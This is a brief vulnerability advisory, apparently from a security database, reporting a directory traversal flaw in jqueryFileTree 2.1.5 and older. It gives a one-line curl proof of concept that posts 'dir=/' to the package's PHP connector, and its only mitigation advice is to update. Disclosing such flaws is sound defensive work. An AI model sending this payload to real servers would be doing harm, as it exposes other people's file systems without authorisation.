Lack of data validation - Path Traversal In jqueryfiletree

Description

jqueryFileTree vulnerable to Directory Traversal jqueryFileTree 2.1.5 and older is vulnerable to Directory Traversal

POC:

curl 'http://localhost:8000/js/jqueryfiletree-2.1.5/dist/connectors/jqueryFileTree.php' -H 'Referer: xxx' -d "dir=/"

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem
Package
Affected version